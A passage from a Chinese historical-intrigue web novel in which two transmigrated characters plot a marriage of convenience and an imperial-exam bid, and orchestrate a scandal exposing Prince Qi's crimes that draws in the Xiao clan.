“小乌桕回去告诉你了。” “是我没看住他。”提到尚乌桕,尚柒难免头疼,“我已经叮嘱过他了,不会泄露你的事。” 虽然尚乌桕也不见得知道多少,但有关别此云的消息一个词都不许透露就对了。 “他很聪明,我不大喜欢小孩,难得遇上一个不讨厌,还讨我欢心的小哥儿,怎么会为这点事责问你。”尚乌桕能凭借自己的人脉到宴会上来,那是他的本事,别此云一向对有本事的人另眼相待。 “他的确有点鬼精灵,但年岁小,心思单纯,做事难免疏漏。” “不是有你做他兄长?” “你说的有道理,那么我之前的问题能得到一个答案吗?”尚柒又把话绕了回来。 “这事你帮不上我,我会尽可能拖延,实在不成便诈死离开长安,想来尚东家愿意尽一尽地主之谊。”后路别此云早想好了,可不到万不得已别此云不想用这个办法。 “诈死不是好事,你的大部分根基都在长安,全部搬走不是一朝一夕的事。”尚柒没想到别此云的办法还挺激进。 “也不一定要全部搬走。”比如在长安附近的庄园他不会轻易出手售卖,且他的大部分产业都没挂在他的名下,就算诈死也不会影响这些产业。 唯一需要担心的就是他离的太远,被那些威胁过的世家看出端倪,会对长安的产业造成威胁。 “那你家里人呢?”在尚柒看,别此云和家里人关系不算亲近,但也绝不会说一点感情没有。 “难道我还能要他们支持我篡权夺位吗?”若此刻他已经是一方霸主,别家或许会抛弃太子跟他,但现在他什么都还没准备好,就算是一家人,又该拿什么信他? “现在不行。”不说他们手里暂时没兵,就是有恐怕别家也不会铤而走险。 “以后也不见得行,还是说尚东家有什么高见?”别此云走到尚柒跟前,半阖眼睛,像是在打量尚柒什么。 “高见没有,但按照你的计划,总是要去西南的,比起诈死,或许有其他办法让你名正言顺的过去。”这样也不至于和别家彻底断开联系,等在西南势成,别家也能够成为他们的助力而不是对手。 “除开嫁人,我想不到名正言顺离开长安的办法,而嫁去西南,别家不会同意。” 地方豪强还攀不上别家的门楣,他娘大抵也不希望他离开长安。 “或许可以先成亲,再想办法调去西南。”让苏夫人同意别此云嫁去西南肯定是不行的,但要是让别此云先成亲,后面再跟着夫婿一块调任去西南,苏夫人又拿什么阻止呢?总不好叫别此云和离。 “好办法,先不说我乐不乐意,首要的人选里能选谁?一个替大历办差的官员,仅凭你我一家之言恐怕不会同流合污,还有走漏消息的风险。”别此云的语气逐渐咄咄逼人,想来是觉得尚柒出了个馊主意。 “远在天边近在眼前。”尚柒饮了一口茶,不紧不慢的说道。 “什么?”别此云后退一步,惊疑不定的打量尚柒。 “任何人选都有翻车的可能,但你我合作关系,天然就决定了我们不会背叛彼此,我难道不是最好的人选吗?” 尚柒思来想去,破局的关键只有一个,别此云要嫁的人必须是可控的。 “我不明白。”别此云自诩聪颖,竟有一日搞不懂尚柒的意思。 “科举一年一次,今年还有几个月,要是我拿到下场资格,只要登榜,就能为官。”从商跳到士,才让尚柒有资格求娶别此云。 不过一个小官,别家大抵不会放在眼里,但若有别此云的哥哥别景季帮忙,可能性就不低。 “你白日才同我兄长表明不愿意为官。”怎么到了夜里态度就一百八十度大变。 “只是表象,若不让他相信我不愿出仕,又怎么能体现我愿意为你参加科考的诚意。”要想别景季帮他,最重要的就是让别景季相信他想要娶别此云不是别有用心。 “商户想要拿到参加科考的机会,并不容易。” “但我们站在巨人的肩膀上。”虽说做法可耻,但到了封建社会,想求活路他的道德观也不是很高。 别此云心底思索了片刻,明白尚柒的打算,献干谒诗,既能拿到参加科举的机会,又能扬名,哪怕官位不高,只要才名远扬,想必看重文名的别家未必不会答应。 这的确是好办法,可:“有必要做到这个地步吗?” 尚柒并不喜欢他,而且尚柒也没打算做官。 “我以为我们都干了谋逆的勾当,其余事都比不过这件事才对。”尚柒平静的看向别此云。 “你我结亲,外人看来既成事实,岂非误了你的桃花。”别此云假作放松,故意调侃。 “不着急,我也没那么着急成亲。”尚柒并不将此事放在心上,反而戏言,“比起桃花,你更该担心我能不能蟾宫折桂。” “你不打算考明经科?”别此云白日可是听到兄长让尚柒去考明经,兄长自己也是科考出来的,他能这么说,说明尚柒走明经定能高中。 “明经科前途有限,虽说我不打算在官场混,但也不能对外表现出来,进士科难考但想要配的上你,就必须考。”别家又不是天使投资人,就算自降身份,也要投资一个前途无量的青年才俊。 “你若当真确信自己愿意,我会替你收集历代科考的试卷,以及榜上有名者的答卷。” “办法是我提出来的,若不愿意我不会开口。至于试题,若能得你兄长帮助,凭借他在朝中的关系,会更容易弄到手。” “看来我没有插手的余地。” “怎么会,既然有了准备,你可以慢慢搬迁一部分产业去西南先耕耘,我们在西南可是要养一只巨型吞金兽。”尚柒承认赚钱的本事比不过别此云,各自在合适的领域发光发热,才是良好的合作开端。 第33章 卯时末, 天大亮,尚柒一夜未眠回到常乐坊,厨房正好送了朝食过来, 随意吃了两口, 连话都没和南枝乌桕多说, 就一头栽进床上休息。 昨夜别此云得知他的计划后, 就拉着他事无巨细的完善细节,从尚柒该向哪位贵人献干谒诗得到赏识,再到如何取信别景季,让别景季心甘情愿帮忙,到最后该转移那些产业到西南, 好养吞金兽。 直到烛火燃尽, 别此云的兴头才歇下, 兴奋劲过了人就开始昏昏欲睡,可惜外头坊门还关着, 尚柒出不去,只能留在梧桐苑等坊门打开再走。 于是别此云当着尚柒的面倒头就睡, 还大方的让出半张床, 道尚柒要是困了也可以上去小憩。 尚柒当时很心动, 但又怕一觉睡过头, 等醒过来天色大亮, 他可就不好从别府混出来了。 到底年轻,还能熬夜, 只是别此云对他当真毫无防备,就这样当着他的面睡着了,也不知道别此云还记不记得他说过他男女通吃,凭二人的武力值, 吃亏的是谁一目了然。 算了,只当是别此云对他人品的认可。 脑子勉强转了几个弯后,尚柒就睡得不省人事。 而饭厅,两个小的还在吃朝食。 “阿兄昨夜不在家?”尚南枝早出晚归,除去早上和晚上能见着阿兄,其余时候都是见不到人的。 “应该不在,许是又去翻哪家墙头了。”尚乌桕一口咬住肉包子,吃的津津有味。 “长安哪家人得罪了阿兄?要阿兄翻墙头去找把柄。” “也不一定是找把柄,可能去看嫂夫郞了。”尚乌桕打了个哈欠,昨夜蚊子太多,没睡好,今日一定把蚊香做出来,不然今晚还没好觉睡。 “嫂夫郞?哪来的嫂夫郞?上次你说的那个别公子?”尚南枝一直以为是尚乌桕胡思乱想。 “嗯呐,阿姊你最近夜里回来的越来越晚,咱们都没好好说过话,你都不知道最近发生了什么,我可是见到了别哥哥,是个超级无敌好看的哥儿。”尚乌桕提起别此云,精神头就来了,人也不犯困了,小嘴巴巴讲完了他是如何认识别此云的。 尚南枝听得一愣一愣的,等尚乌桕说的口干喝粥时,才找到机会插嘴:“就算阿兄喜欢别公子,这样不清不楚的夜里去拜访,也不太好。” 就是干这事的人是阿兄,也不太好。 “阿兄肯定不会叫人发现,再说了,阿姊你还不信阿兄的品行吗?”尚乌桕就开放多了,他确信阿兄做梁上君子定然不是去会私情的,可能只是想别哥哥了,过去见见嘛。 别府和他们家又不在一个坊,夜里见了面又不是说能马上离开,一夜未归很正常。 “我自然信得过阿兄,但”尚南枝想说不合规矩,可仔细想想阿兄办的不合规矩的事又不止这一件,“总之,你好好劝劝阿兄,若真是喜欢别公子,咱们想办法撮合,不能老是夜里拜访。” “嗯嗯,阿姊放心。”尚乌桕浑不在意的挥手,显然没放在心上。 尚南枝还想要再说什么,奈何去宣义坊的马车已经备好,织坊还有一堆事等着她忙活,只能指望阿兄当真有分寸,她不想哪日去衙门领阿兄回来。 “阿姊就是喜欢多想,阿兄翻墙也没少去地方豪强家,别家的巡逻指不定还不如地方豪强,能抓住阿兄才怪。”尚乌桕对尚柒的功夫盲目自信,就投入自己的蚊香大业中,今日他和蚊子必要杀出个你死我活。 尚府一时岁月静好,可万年县所在的宣阳坊就热闹了。 作为管辖长安一半地区的县衙,万年县可是秒杀大历百分之九十九点九九的衙门,剩下零点零一是长安县。 和其他县衙比,万年县能遇上百姓鸡毛蒜皮的纠纷,那都是祖上烧高香了,哪怕是杀人的命案也完全不觉得棘手,因为一般情况下,万年县接待的都是达官显贵家的子弟。 不是纨绔闹事,就是世家子弟为点矛盾打起来,这群娇生惯养的少爷们,磕了碰了都要嗷半天,万年县里做事的,上到长官下到小吏,都被指着鼻子骂过要他们好看。 有的是放狠话,有的是真记仇,能在万年县长久做下去的官,后台都硬。 现今万年县的县令,也是世家出身,虽比不上萧谢这样的大世家,但在朝堂上也同别家没什么区别。 万年县令的位置不好做,容易得罪人,但好歹也是正经正五品官员,能在人才济济的长安坐到这个位置,是多少人求不来的机会。 原本杜菽也这么认为,好歹爬到正五品,再往上就是京兆府,当然京兆府做事也难办,但在长安京兆尹的官位已经不低了,许多人一辈子都爬不上三品的位置。 再熬几年,杜菽凭借家里的关系往上升,前途一片坦荡,哪想今日一到衙门,接了一桩击鼓鸣冤的案子,只看告状者的叙述,杜菽就觉得他这万年县令要做到头了。 杜家门楣不低,世家中也属中等偏上,但对上齐王又底气不足,最要紧的是杜菽非家中嫡长子,不继承家业,杜家不见得愿意为了杜菽和齐王鱼死网破。 事情难办了,前来告状的人数不少,杜菽要么想办法让这些告状者闭嘴,然后去齐王跟前卖好,要么继续查下去,得罪齐王。 或许案件结束,齐王会受到惩罚,可事后,他杜菽的好日子也到头了,谁不知道齐王小心眼。 “难办,难办。”杜菽和县尉在县衙内堂不停踱步。 “杜大人,这事恐怕没那么简单,齐王在长安行事,你我或多或少都听说过,但这几年来一直平安无事,总不会这些家属突然想通要来找齐王麻烦。”白县尉已经隐隐嗅到其中危险。 “那就更难办了,什么人会对付齐王?什么人能对付齐王?”杜菽说的焦头烂额,好端端的夺嫡之事怎么会牵扯到他头上,他不过一个正五品的县令,上回牵扯进夺嫡之事可是折了正四品的侍郎。 “杜大人,咱们得快些想出应对的法子,不管是齐王还是挑起这起案子的幕后之人,咱们只能投靠一个,不尽快决定两边都得罪了,更没有活路。”已经四十出头的白县尉能够在没有大背景的情况下混到万年县县尉的位置,显然也是个聪明人。 “我们还不清楚要对付齐王的是谁,万一此人不愿意保我等,我们还不能找他要说法,而齐王气量小,对上了后果必然是不死不休。”杜菽分析了两头,肯定是投靠齐王更合适一点。 “幕后之人肯定不会罢休,遣人来万年县报案只是开始,咱们要向齐王示好,须得尽快通知齐王,不然等幕后之人动作,咱们只有被动挨打的份。”白县尉也觉得投靠齐王更靠谱。 “我这就遣人去齐王府邸走一遭。”杜菽匆匆离开,白县尉留在县衙,总觉得心神不安,现在通知齐王或许已经晚了。 而齐王也可能不把这场官司当回事,说不得只吩咐人来一趟,告诉杜菽将苦主全都下狱,只要苦主都张不开嘴,谁还要找齐王讨公道? 显然白县尉没想错,上午才接待了苦主状告齐王的状子,过了午时,齐王强抢百姓,欺善霸恶的消息已经从宣阳坊散开,而且散开的速度明显不对,背后必然有人推波助澜。 齐王那头也只觉得有人登万年县状告他实在可笑,吩咐人告诉杜菽要所有人都闭嘴后便继续盯着五皇子,根本没把这事放在心上。 别家就在宣阳坊,是收到万年县传来的消息最快的一批,消息入梧桐苑的时候,别此云刚起床洗漱。 “昨日说今日就有动作,没成想这样快,事态已经失控了?”别此云懒洋洋的走到院子,昨晚虽然熬夜了,但上午气的晚,别此云的精神头还不错。 “消息已经传出宣阳坊,万年县的苦主都还没走,有两家都抬着自家孩子的尸体在万年县门口,要齐王给个说法。” 尸体自然是真的,都是近些时候从齐王府扔出来的,尚柒专门遣人盯着,才从乱葬岗捞出这两具尸体。 要说只有两具尸体,也看不出什么,至少齐王可以否认,毕竟不是从他家搜出来的,巧就巧在多年来替齐王扔尸体的下人偷了懒,许是早前也做过掩盖,但看此事一直没有东窗事发,便越发懒散。 活人总是不喜欢碰死人的,两具尸体的身上还有齐王府的衣裳,这是不幸中的万幸,不然尚柒还要伪造齐王府的东西,好做证物。 至于证人,除开他找的,其他和齐王不对付的皇子不会放过这个落井下石的机会。 不过首要,是得把事情闹到满城皆知,广运帝耳朵还没聋,消息早晚会传到他耳朵里,御史台的御史也没办法继续装聋作哑,萧氏此刻也不敢大张旗鼓庇佑齐王,否者就是众矢之的。 “继续盯着齐王和萧氏的动向,别让他们有机会将人灭口。” “我们的人一直守着,不过张全武传来消息,似乎他们还遇上另外一路人,不像长安路数。”琴砚有猜测多半是尚东家的人。 “也对,尚柒做事面面俱到,这点小事不会有疏漏。”别此云也没说要把人撤回来,左右两拨人保护苦主,肯定更周全,“先前寻人接触禁军的事办的怎么样了?” “说是已经接触了几个,不过暂时还在温水煮青蛙,没有摊牌。”撬禁军不是一朝一夕的事,但别此云知道自己要离开长安后,就想加快这事得进度。 最好这些人能够在他去西南之前也离开,不然他不在长安,事情没那么好安排。 “让他们加快速度。” “是。” 第34章 转眼到了下午, 外面的日头已经毒辣起来,隔着窗户都能感觉到一股蒸腾的热气。 尚家在长安没有冰窖,近来天气太热都是着人上街买的, 夏日用冰的地方实在多, 尤其是长安各色的饮食到了夏日也少不了冰, 有人瞅准商机, 备了不少冰窖卖冰,利润算下来也不是小数。 可见有头脑的生意人在哪儿都不缺。 尚柒屋里已经有下人送来冰盆,叫彻夜未眠的尚柒睡足了精神才懒洋洋的睁眼。 “已经这个时辰了。”尚柒朝窗户外看了看天色,想来万年县衙此刻正热闹的厉害,不过事情只要起头基本就和他没什么关系。 也不知西南如今的情况如何, 按照蔺肃和宋月隐的本事, 地盘应该找好了, 剩下的基础建设也不过是时间问题。 至于私兵,五皇子事发, 想必广运帝一定会彻查几个儿子私下里是否也瞒着他养兵,为了不被广运帝发现, 四皇子一定会减少和私兵的联络, 这就是他们的可乘之机。 —————————— 应州。 蔺肃抹了一把额上的汗水, 原本白净面相的读书人整日在山上操劳, 都被晒的黝黑了几分, 好在事情都在计划中。 从拿下山寨到改造山寨,也不过过去了几日功夫, 兵营已经建造的像模像样,干活的山匪们还都算卖力,毕竟蔺肃拿下这些山匪后,杀了几个穷凶极恶的立威。 余下的要么坏的不算彻底, 要么胆怂,基本上是让干什么就干什么,更不说每日蔺肃都是给足了饭菜。 白米饭肯定是没有,糙米是管够,菜里油荤也不常见,但盐没少加,能有个咸味配饭,已经是许多人求之不得的好日子。 “这群土匪,瞧着都是病恹恹的,先头蔺管事要他们做事,我还以为一个个都干不动活呢。” “地里干活的农户有几个身体精壮的,不依旧一年到头在地里干重活。”时下农人,没几个能吃饱饭的,大部分都是一副瘦竹竿样,种地不管哪朝哪代都是辛苦活,农户人家能活过五十都是老天爷给面子。 “咱长平村的农户个个膀大腰圆,我看就是村里的娘子郎君一拳也能打的人头破血流。”村里的娘子郎君不是养尊处优的命,自打能吃饱饭后,干事的劲头反而越来越旺盛,光是那长满茧子的巴掌,就叫人望而生畏。 “天底下有几个村子的人能跟长平村一样,不说远了,就说咱们礼县隔壁几个县过得什么日子,也是能看见的。” 蔺肃听着手下嘀嘀咕咕的谈话,也不插嘴,大部分人的幸福都是对比出来的,像是东家发达后成长的一代,多半都不记得小时候家里挖野菜喝清汤的苦日子。 等出了礼县,大部分人才知道天下间能过上礼县百姓的日子少之又少。 “蔺管事,宋管事送了消息过来。” 蔺肃应了一声,拆了信,不出意外看到宋月隐说有人打探他的事,他父亲是蔺家嫡系,他母亲只是一介歌姬,连妾室都算不上,只是底下的人送给他父亲的礼物。 像他这样的孩子不少,若不是遇上尚柒,恐怕他还在他父亲安置的院子受兄弟姐妹的气。 逃出蔺家的地盘,叫蔺肃终于了喘息之地,现在看长安过来的调查蔺家的一茬接一茬,也知道他的这些兄弟姐妹之后没有好日子过。 运气好,留条命,但也不能再过曾经养尊处优的好日子。 “蔺管事,咋脸色不好?是礼县出了什么问题?” “礼县没事。”归根结底,他已经脱离蔺家,东家也帮他把尾巴扫了个干净,现在这群打长安过来的探子,顶多查到蔺家的确有蔺肃这个人,但已经是个死人。 齐王府。 “混账,究竟是谁将此事翻了出来。”齐王在府邸大发雷霆,上午收到消息他还不屑一顾,下午就闹的满城皆知,不用动脑子也知道是冲他来的。 “殿下,如今事情已经闹大,想必陛下知道是迟早的事,与其让陛下召见,不若殿下先一步去认罪,将此事大事化小小事化了,想来陛下也不会重罚殿下。”不过几条寻常百姓的命,难道还要皇子以死谢罪吗? “父皇近来为发兵突厥的事头疼,我这时候过去岂非是撞在枪口上。” “殿下,这等小事就不要在意了,除非殿下现在就将五皇子的事揭发出来,不然陛下迟早是要生气的。”谋士苦口婆心的劝告,这事明摆着不能压下来,那就趁事态还没扩大认了,陛下顶多轻罚。 “眼下我的人还没从西南回来,空口无凭告诉父皇五弟勾结边军企图谋反,不能取信父皇不说,还打草惊蛇。”齐王到底有点脑子,挡箭牌也要选牢靠的才有用,老五的事几个皇子心照不宣的私下里查,就是希望有铁证一下致老五于死地,而不是给老五断尾求生的机会。 “所以殿下更应该趁着事态还没有更严重之前,去向陛下认错,到时候陛下就算罚殿下禁足,也正好将五皇子的事推倒其他皇子身上,以免被陛下惦记上。” 揭穿五皇子勾结边军不见得是美差,但几个皇子定会有一个出头,谋士不希望这个人是他们殿下。 “行了,我先去一趟萧家。”齐王和外家联系紧密,早年的伴读出自萧家,府里的家臣也多是萧家安排,他和萧家已经是绑定关系,遇上这等事,萧家必不会袖手旁观。 劝诫的谋士讪讪闭嘴,原本还想劝齐王不要在这个节骨眼上去萧家,毕竟皇帝对世家一向不喜,但他不过一介白身,在齐王心里哪有萧家重要,再开口说什么也不过是惹齐王厌烦。 想要在齐王身边待下去,适时闭嘴也是一门学问。 齐王匆匆坐上马车去了萧府,半点遮掩都没有,消息自然也原封原样的送到广运帝的案头。 近来广运帝脾气不大好,追其原由还是因为想要攻打突厥,此事暂时还没在朝廷上提过,广运帝只隐隐约约暗示过朝中几位心腹大臣,结果不如人意。 除了一两个原本就支持他出兵的大臣,其余人都借口国库没钱,国库有没有钱广运帝这个做皇帝的难道不清楚吗? 国库只要是出钱都是没有的,户部的帐也不能细查,真要是大规模盘查,朝廷上有一个算一个都跑不了。 广运帝没提国库钱的流向去了哪,就是给这些世家面子,同时也给他们机会自掏腰包补上,凭借他们这么多年贪的,早够发兵十几次了。 偏世家一个个都是铁公鸡,一毛不拔,这会子齐王的事闹到广运帝跟前,正好给了广运帝一个惩治世家的借口。 齐王背后的萧氏,一惯喜欢对皇家的事指手画脚,而齐王这个蠢货偏偏信了萧氏,真要让齐王登基,天下只怕要成萧家的天下。 “齐王的事,萧氏有掺和吗?”广运帝不在意自己儿子是否真的害死了几条人命,满朝廷谁手里没沾点血,齐王到底是皇家血脉,自然与百姓大不相同。 “回陛下,听闻萧家这一代有几人和齐王关系甚好,齐王当街抢人也在跟前,说不得齐王行事如此放肆,就有萧氏怂恿的手笔。” 当大臣的,大部分都是人精,打广运帝提到萧氏,下面的人已经想到广运帝打算对萧氏发难。 “是了,吾儿一向乖巧,只是封王出宫住了几年,就引得百姓状告,其中必有奸人捣鬼,你且速速查清此事中萧氏掺和的子弟,都收押了让大理寺和刑部联合审问,我要尽快出结果。” “是,陛下。” 翌日。 尚柒的府里迎来贵客,谢琅不请自来,瞧模样颇有些迫不及待。 “尚兄倒是稳的住,打昨日起,长安里看热闹的人一波接一波,你却连门都不曾出。” “我的事已经做完,齐王最后能得到什么惩罚不是我能左右的事,继续掺和也没什么好处,自然要明哲保身。”尚柒深谙苟的道理,这时候冒头蹦跶岂非是给人当活靶子。 “有理,不过尚兄可能不知,这事不光牵扯到了齐王,还将齐王背后的萧氏一块拉下了水,我看这次萧氏怕是要伤筋动骨了。” “萧氏。”尚柒低声道了一句,他可没想到还能牵扯到萧氏,尤其听谢琅这句伤筋动骨,说明这会萧氏在广运帝那里还不能轻拿轻放。 尚柒不信广运帝会为了几个百姓对萧氏发难,恐怕背后还有什么事,仔细想想,多半是和广运帝想发兵突厥有关。 “既然牵扯到萧氏,事后可会对谢少爷你有影响?”真要叫广运帝发现谢琅是后面的推手,没准谢家也要牵扯其中。 “我办事你放心,必不会被人拿下把柄。”谢琅在长安经营这么多产业,也不是白做的,要说叫谢琅陷害齐王可能会被查出来,但他只是推波助澜散布一点消息,外人就是顺藤摸瓜,也没有证据不是。 尚柒挑眉,果然合作的都不是傻子。 “齐王的事最多一旬就能有结果,这一旬时间尚兄都不打算出门吗?”谢琅对新认识的朋友兴趣正浓。 “还有几个月就要科举了,这次来长安为了生意已经耽误了不少时间,我得抓紧时间温习,当是临时抱佛脚。”尚柒调侃自己,也向谢琅透露他要科举的事。 左右他当真娶别此云,以谢琅的聪明不会猜不出别此云就是有钱公子。 “尚兄来长安是参加科举的?”谢琅吃惊的打量尚柒,他可半点没看出来。 第35章 “在来长安之前我也没想到自己要参加科举。”尚柒毫不吝啬的表明他原本只是来长安做生意的。 “看来是遇上什么事了, 让我猜一猜?”谢琅半抬头,想了一会,“和有钱有关。” 尚柒微笑点点头。 “我就说当日有钱特意宴请你的举动奇怪, 我与有钱也合作了几年, 面也见过, 只是他都不肯露出真容, 他这人一向神秘,却愿意介绍你给我认识,其中竟藏着这一桩事。” 谢琅对有钱是很赞赏的,因为世家中的公子贵女虽也把持家中产业,却少有像有钱这样瞒着家里人干大事。 尤其是敢拿长安世家的把柄, 威胁他们合作, 最后还能全身而退, 若非是有钱性别不对,谢琅几乎要引以为知己。 当然了, 没能成为知己也是有钱不愿意,但谢琅单方面是认了有钱这个朋友, 这会子遇上有钱的八卦, 谢琅更是来了兴趣。 “是我有意求娶, 但想要名正言顺, 总归要在身份上相配。”尚柒道的是深情。 “有这份心总是好的, 不过今年长安参加科举的人不少,尚兄可是有不少对手在。”别的不说, 蒲州柳氏的少爷就是强劲的对手。 “尽力而为。”尚柒也不是说非要拔得头筹,毕竟文采这东西,他自认为不是很多,诗赋能靠老祖宗走捷径, 帖经能够死记硬背,策问无论如何都得自己来。 加上他也没有什么背景,想要中榜都得别景季暗中使力。 科举的事,谢琅插不上手,除非他要求家里帮忙,但谢家子弟众多,不少人也想做官,没有帮外人的道理。 “听有钱说,尚兄医术不错。”谢琅有心想帮忙,只能另辟蹊径。 “尚可,但长安名医众多,宫中的太医医术更是家传,很难说比的过。” ‘很难说比得过’这话就有说法了,从谢琅和尚柒接触的情况来看,尚柒绝对不是恃才傲物之人,甚至有些谦逊过头。 能够让尚柒说出这样的话,说明人对自己医术很有自信。 “我家中有一位长辈患有顽疾,一直得宫里太医照料,但也拖延着不见好,我作为小辈自然心疼,今日得尚兄一句话,能否请尚兄帮忙看诊,自然耽误尚兄温习的时间,谢家也会做出相应的补偿。” “能先说说是什么病吗?有些病无法根治,尤其是上了年纪的人,许多老年病都只能用治标不治本的办法温养,我就是神医转世也束手无策。”尚柒不是华佗,能治的病不少,但更多的是不能治的病。 “虽然说是长辈,其实也只比我年长十岁有余,要说这病,尚兄也该是听过,是相思之症。”谢琅说这话的时候也颇有些不好意思,因为男子一般少有得相思之症的。 “相思病?”尚柒疑惑的问了一句。 “不错,整日郁郁寡欢,人也懒散的很,吃了许多药也不见好,反倒是更严重起来。”谢琅简略描述了一下小叔的情况。 “只听谢少爷你说的病症,倒不像是相思病,更像是郁症。”古人相思成疾也不是假话,许多郁郁而终的人多半都是得了抑郁症走的,世家中多是后宅娘子郎君易得,男子么,倒也不是说没有,而是罕见。 “太医也这么说过,不过病因还是因相思而起。”谢琅听见尚柒凭借三言两语就判断出病症,对尚柒的医术更肯定了。 “相思之人是谁?”这病尚柒能开药,但解不开心结,吃再多药也没用。 “不知。”谢琅摇头,若是知道相思之人是谁,他爹和他爷爷早给人带回来了,便是身份不足以进世家的门第,养在院子能讨小叔欢心,也不算什么。 偏偏小叔是个闷嘴葫芦,问什么都不说。 “……”尚柒沉默了。 “尚兄也不能治吗?”谢琅倒没有很失望,宫中太医都束手无策,尚柒这样年轻,能随便治太医都治不好的病症,未免太妖孽了些。 “如果只是开药,见过人我的确能写药方,但想来治病的大夫也说过,心病还须心药医,我开再多的药不能解开病人的心结,也不过是白费工夫。” “我明白了。” —————————— 梧桐苑。 “听闻萧家主脉进去了几位少爷,看大理寺和刑部的意思,若萧氏不肯服软,这几位少爷就是替齐王赴死的挡箭牌了。”尚柒这几日宅在家中,等大理寺刑部那边行动之后,顶风作案又趁夜来了别府。 “萧氏若服软,谢柳这等世家先不提,依附萧氏的世家,恐怕也要跟着服软。”别此云手里捏着棋子,正和尚柒下五子棋玩。 “你觉得萧氏会服软吗?”尚柒边说边看自己被堵死了的棋子,又开始寻新的出路。 “这得看萧家这几位少爷得不得宠。”嫡系的少爷个个都花无数精力培养的,若真有麒麟之才,萧家哪里会吝啬这点钱财。 “听你的话,萧氏不肯服软?” “多半不会,世家一惯和皇权对着干,前几朝被打压下去的气焰到了本朝燃的更旺,广运帝大抵也不会当真逼得世家鱼死网破。” 只牺牲几个对家族影响不大的子弟,于萧氏这样的大世家而言不算什么,但真向广运帝低头,萧氏才会叫人看不起。 “齐王呢?可有什么说法?” “萧氏不低头,定会惹恼广运帝,萧氏子弟多半活不了,齐王么,肯定禁足罚俸,再免官几月以儆效尤。”不废王位,已经算不错的惩罚了。 “若五皇子事发,广运帝明白自家的麻烦都应接不暇暂缓出兵,萧氏便算赔了夫人又折兵,恐怕会对广运帝不满。” “不满他们也不敢真的撺掇齐王谋反,京中禁军不听萧氏的话,想要发动政变,太子来试试还成。”最后多半是哑巴吃黄连有苦说不出。 “别家没让太子用用铤而走险的办法?”太子的位置坐的也不牢,底下的弟弟们三天两头找麻烦不说,当爹的也不给人清净。 “太子肯定想,但他已经是太子,没必要冒这个风险,除非太子的位置被威胁,破釜沉舟的情况下可以试试。”别家求稳,太子倒也能听得进去几分他阿翁的话,不然早折进夺嫡的漩涡中了。 “这几只股都前途有限,也是难为你们被迫下注。” “没办法,王朝末途是这样的,买哪只皇子股都是满盘皆输,可天下人又这么多,想要下注潜力股,也得有伯乐才行。” “咱们算潜力股吗?”尚柒突然一问。 “为什么不算,你我皆知战场不一定是谁人多谁赢,人海战术不及火力覆盖。”他们赢就赢在掌握了更厉害的武器。 “我知道打仗总是要死人的,但用火药” “会更快的结束战争,你也学过历史,知道乱世是什么情况,要想少死人,最好的办法是压缩战乱的时间。”乱世不是一个人能阻止的,他和尚柒加一块培养自己势力,都不敢说一定能取得胜利,更别提阻止乱世的到来。 或许他和尚柒其中一个是皇族还能借登位改革试试,但这种情况成功率也不大。 “只是感慨而已,我没那么优柔寡断。”尚柒也不是真傻子,怎么不明白乱世的可怕性,他有幸读过《菜人哀》,只是短短百来字,就让人彻骨生寒。 “你干谒诗准备的如何了?”别此云也不太想多说打仗的事,就算未雨绸缪,他们连兵都没练好,也过早了些。 “诗词我都还记得不少,但现在不是献诗的时机。”要么等齐王事了,要么等五皇子事了。 “早些拿到资格更放心些,谢家有什么说法?” “谢琅有提让我去给他小叔瞧病,但郁症我没什么把握。”他一个半吊子中医,能把寻常病症和一些罕见病症治好都是学的勤勉,跨度到心理乃至精神方面,实在是难为他了。 “郁症?却是不曾听过谢家子弟有得这个病的,谢家不行就换个中间人。” “我在寻更合适的人选。”尚柒揉了揉眉心,“再过几日,我的商队应该就要到长安了,这次除了药材,还有许多药丸,可以用这个打开门路。” “你不是不想把真正救命的药放在明面上卖?”他可是知道尚柒有多怕世家盯上他,打他的主意。 “我都要科举了,世家盯上我是早晚的事,只要在他们行动前告诉他们我有靠山,想必他们也不会轻易得罪另一个世家。” 再说,像神仙丸尚柒可没打算卖。 “我兄长那边” “这得让你兄长知道你对我有相思之意。”不然他上赶着表现,别景季头一个就会收拾他。 别此云轻笑一声:“你想我怎么表现?茶不思饭不想,还是说赠君红豆以寄相思?” “不必太明显,我先前不是同你兄长提过,我与你有约,咱们夜夜相会也不是办法,什么时候你再请我登门拜访?” “那我得再病一病。”不然可没什么正当理由让别此云请尚柒过来。 “这个不成,最多装病,不可再伤身,你自己的身体底子你也应该清楚,养了这么多年才好一点,再糟蹋你当了皇帝也没命享受。” “我可没说我要当皇帝。”别此云只想没有拘束的过日子,当皇帝是天底下最自在的人,也是天底下最拘束的人。 “这个咱们先不提,答应我,不可在胡乱伤身。”尚柒难得语气严厉。 “……知道了。” 第36章 有皇帝亲自施压, 大理寺和刑部办案再没有拖延的,萧氏子弟下狱,萧氏却隐忍不发, 瞧着像是要和广运帝斗到底, 叫广运帝大为恼怒, 当即下令要重惩给百姓一个交代。 满朝文武知道这时候说什么都是触广运帝的霉头, 一个个装聋作哑由得广运帝处决了几个萧氏子弟,连带着齐王也没好下场,被广运帝责骂一顿,又罢了齐王头上的官职,叫人在王府闭门思过。 萧氏一时也沉寂下去, 但有眼睛都看得出萧氏和广运帝之间的梁子结大了, 只是眼下没有什么导火索, 两方各自压下怒气只待以后。 “阿兄,坏人都被惩罚了, 你怎么还不高兴?”尚乌桕也或多或少听了这一桩齐王案,对齐王的观感极差, 在礼县调戏娘子郎君都是要被官差抓去蹲大牢的。 没成想在长安, 害死了这么多人命的罪魁祸首只是被关了禁闭, 王府何等的大, 真在王府禁足日子也不过差到哪儿去, 更不说齐王后院还有一屋子莺莺燕燕作伴。 至于被下令处决的世家子弟,尚乌桕也觉得他们罪有应得, 人以群分,能够和齐王玩到一块去的人,手里怕也没少沾人命,死了算是大快人心。 “是啊, 不管惩罚轻重坏人都受到了惩罚。”尚柒嘴上说着坏人受到惩罚,表情却颇为复杂,“只是,乌桕你有没有想过,齐王后院是否还有被强抢的姑娘哥儿没被放出来?” “什么?”尚乌桕惊呼出声,“案子不是大理寺和刑部审的么,怎么还有人在齐王府邸没出来。” “因为这件案子最要紧的不是这些毫无身份的苦命人,就连我,起初也不过是想借这件事给齐王一个教训。”,是的,这是他没想到的,案子已经闹的这么大,最后连世家的人都死了,却没人提过齐王府邸可能还有活着的姑娘哥儿没有放出来。 “那怎么办?阿兄,齐王这样坏,那些被抢进齐王府的姑娘哥儿肯定没有活路,我们,我们能想办法救救她们吗?”尚乌桕慌了神,但也知道这个要求强人所难。 